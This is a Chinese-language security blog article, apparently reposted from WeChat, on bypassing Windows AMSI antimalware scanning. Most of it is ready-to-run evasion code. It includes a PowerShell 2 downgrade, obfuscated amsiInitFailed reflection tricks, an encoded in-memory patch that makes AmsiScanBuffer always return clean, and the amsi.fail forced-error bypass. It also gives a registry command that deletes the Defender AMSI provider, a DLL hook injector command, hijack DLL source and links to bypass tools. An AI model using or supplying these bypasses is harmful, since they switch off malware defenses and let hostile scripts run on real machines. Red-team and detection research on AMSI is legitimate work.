AMSI免杀绕过:千变万化
2023-5-8 08:26:50 Author: 奶牛安全(查看原文) 阅读量:13 收藏

微软开发了 AMSI(反恶意软件扫描接口)作为一种方法来抵御常见的恶意软件执行并保护最终用户。默认情况下,windows defender 与 1 交互,在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此组织不限于使用 Windows Defender

AMSI 如何运作

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。

  1. AmsiScanBuffer()
  2. AmsiScanString()

如果识别出已知特征,则不会启动执行,并且会出现一条消息,表明该脚本已被防病毒软件阻止。下图说明了 AMSI 扫描的过程。

AMSI绕过

微软使用 AMSI 作为阻止执行恶意软件的第一道防线,  许多绕过手段已被公开披露。由于扫描是基于特征, 红队和黑客可以通过执行各种手段来绕过 AMSI。尽管某些处于原始状态的技术已被阻止,但各种字符串变种和变量、编码和混淆甚至可以让最古老的绕过手段枯木逢春。

PowerShell降级

尽管微软已弃用 Windows PowerShell 2.0,但它并未从操作系统中删除。旧版本的 PowerShell 不包含 AMSI 保护等安全控制,可用作一种逃避形式。将 PowerShell 版本降级到旧版本很简单,需要执行以下命令:

powershell -version 2

Base64编码

Fabian Mosch使用Matt Graeber的旧 AMSI 绕过方法来证明,如果对触发 AMSI 的字符串(AmsiUtilsamsiInitFailed)使用 base64 编码并在运行时解码,则可以用作规避微软特征的方法。此技术通过设置“amsiInitFailed”标志来阻止当前进程的 AMSI 扫描功能。

原始 AMSI 绕过

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Base64编码

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

挂钩

Tom Carver 以 DLL 文件的形式创建了一个POC,该文件通过挂钩AmsiScanBuffer函数来规避 AMSIAmsiScanBuffer使用假参数执行。DLL 需要注入到要绕过AMSIPowerShell 进程中。

.\SimpleInjector.exe powershell.exe .\AmsiHook.dll

内存补丁

Daniel Duggan发布了一个AMSI绕过手段,它修补了 AmsiScanBuffer() 函数,让它始终返回AMSI_RESULT_CLEAN,这表明没有发现威胁。补丁显示在以下行中:

static byte[] x64 = new byte[] { 0xB80x570x000x070x800xC3 };

该绕过已在 C#PowerShell 中发布。可以使用以下命令加载和执行 DLL:

[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()

默认情况下,PowerShell 版本会被标记。AMSITrigger可用于通过调用AmsiScanBuffer来发现由 AMSI 标记的字符串。以下几行已被识别,需要进行混淆处理。

.\AmsiTrigger_x64.exe -i .\ASBBypass.ps1

混淆 PowerShell 脚本中的代码绕过 AMSI 并执行内存补丁。

${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))

Add-Type ${_/==\_/\__/===\_/}

${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))

${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))

${/==\_/=\/\__/\/\/} = 0

[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})

${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)

内存补丁技术的一种略有不同的方法是使用不同的机器语言指令(操作码),以实现AMSI_RESULT_CLEAN的结果。

.\amsi-opcode.ps1

Paul Laine发布了另一种绕过方法,它修改了内存中AMSI_RESULT函数的指令,以防止将内容发送到 Windows Defender 或任何其他 AMSI 提供程序。

.\AMSI-Patch.ps1

强制错误

强制 AMSI 初始化失败 (amsiInitFailed) 将导致不会为当前进程启动任何扫描。最初这是由Matt Graeber披露的,微软开发了一个特征来防止更广泛的使用。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

使用变量避免直接使用字符串可以用同样的方法规避 AMSI。

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'

$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))

$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')

$field.SetValue($null,$true)

由于存在amsiInitFailed标志的特征,因此Adam Chester发现了一种替代方法,该方法试图强制错误以便以合法方式而不是在控制台中设置标志。此绕过为amsiContext分配内存区域,并且由于amsiSession设置为 null 将导致错误。由于微软已创建特征,因此在没有任何混淆的情况下使用此绕过将失败。

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);

然而,这个绕过的混淆版本存在于由Melvin Langvik维护的amsi.fail网站中,并且也在下面显示:

$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092))

[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null)

[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi)

修改注册表项

AMSI 提供商负责防病毒产品的扫描过程,并在注册表中的某个位置注册。Windows Defender 的 GUID 显示如下:

HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}

删除 AMSI 提供程序的注册表项将禁用 Windows Defender 执行 AMSI 检查和绕过控制的能力。但是,删除注册表项不被视为隐秘方法(如果有足够的监控)并且还需要提升权限。

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

DLL劫持

DLL 劫持也可用于从用户空间绕过 AMSI 。唯一的要求是创建一个非法的 amsi.dll 文件并将其放置在与 PowerShell 64 位相同的文件夹中,该文件夹可以复制到用户可写目录。POC已由 SensePost 发布,并在下面进行了演示。

#include "pch.h"
#include "iostream"
 
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)

{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        LPCWSTR appName = NULL;
        typedef struct HAMSICONTEXT {
            DWORD       Signature;            // "AMSI" or 0x49534D41
            PWCHAR      AppName;           // set by AmsiInitialize
            DWORD       Antimalware;       // set by AmsiInitialize
            DWORD       SessionCount;      // increased by AmsiOpenSession
        } HAMSICONTEXT;
        typedef enum AMSI_RESULT {
            AMSI_RESULT_CLEAN,
            AMSI_RESULT_NOT_DETECTED,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END,
            AMSI_RESULT_DETECTED
        } AMSI_RESULT;
 
        typedef struct HAMSISESSION {
            DWORD test;
        } HAMSISESSION;
 
        typedef struct r {
            DWORD r;
        };
 
        void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT * amsiContext);
        void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION * amsiSession);
        void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
        void AmsiResultIsMalware(r);
        void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiUninitialize(HAMSICONTEXT amsiContext);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在标准目录之外执行 PowerShell 将加载 amsi.dll 文件,其中包含所有必要的操作功能,但 AMSI 不会启动。

工具

  • AmsiScanBufferBypass: C#https://github.com/rasta-mouse/AmsiScanBufferBypass

  • AmsiOpcodeBytes: https://gist.github.com/FatRodzianko/c8a76537b5a87b850c7d158728717998

  • AMSI-Bypass: https://gist.github.com/am0nsec/986db36000d82b39c73218facc557628

  • AMSI-Bypass: https://gist.github.com/am0nsec/854a6662f9df165789c8ed2b556e9597

  • NoAmci: https://github.com/med0x2e/NoAmci

  • AmsiHook: https://github.com/tomcarver16/AmsiHook


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489396&idx=1&sn=aa0a7b3eea91449767ed3ffd1ae7b008&chksm=fdf97c61ca8ef57758bb6a9db6d88fcfd58f326d22ac20632fd1b3c0b88182aa0ef7dac334b5#rd
如有侵权请联系:admin#unsafe.sh